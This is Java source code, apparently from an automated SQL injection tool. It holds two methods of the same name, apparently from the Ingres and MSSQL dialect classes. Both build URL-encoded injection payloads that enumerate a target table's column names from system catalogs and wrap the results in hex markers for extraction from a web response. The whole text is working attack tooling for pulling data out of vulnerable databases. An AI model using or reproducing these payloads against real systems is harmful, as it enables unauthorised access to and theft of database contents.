@Override
public String sqlColumns(Table table) {
return "select+rr||0x01030307+r+from(select+0x04||trim(t.column_name)||'"
+ QTE_SQL
+ "0"
+ SEPARATOR_SQL
+ "'rr+"
+ "from(select+distinct+column_name+from+iiocolumns+where+table_owner='"
+ table.getParent()
+ "'and+table_name='"
+ table
+ "')t,(select+distinct+column_name+from+iiocolumns+where+table_owner='"
+ table.getParent()
+ "'and+table_name='"
+ table
+ "')t1+"
+ "where+t.column_name>=t1.column_name+"
+ "group+by+1{limit})a";
}
@Override
public String sqlColumns(Table table) {
try {
return "SELECT+"
+ "replace(CONVERT(VARCHAR(MAX),CONVERT(VARBINARY(MAX),'0'%2bSTUFF("
+ "("
+ "SELECT"
+ "+replace(sys.fn_varbintohexstr(CAST(','%2b'"
+ SEPARATOR_SQL
+ "'%2BCAST(name+AS+VARCHAR(MAX))%2B'"
+ QTE_SQL
+ "0"
+ SEPARATOR_SQL
+ "'AS+VARBINARY(MAX))),'0x','')"
+ "FROM+"
+ "(select+c.name,ROW_NUMBER()OVER(ORDER+BY(SELECT+1))AS+rnum+FROM+"
+ table.getParent()
+ "..syscolumns+c,"
+ table.getParent()
+ "..sysobjects+t+"
+ "WHERE+"
+ "c.id=t.id+"
+ "AND+t.name='"
+ URLEncoder.encode(table.toString(), "UTF-8")
+ "')x+"
+ "where+1=1+{limit}+FOR+XML+PATH('')"
+ ")"
+ ",1,1,''),2))%2B'"
+ TRAIL_SQL
+ "',',','"
+ TD_SQL
+ "')";
} catch (UnsupportedEncodingException e) {
LOGGER.warn("Encoding to UTF-8 failed: " + e, e);
}
return null;
}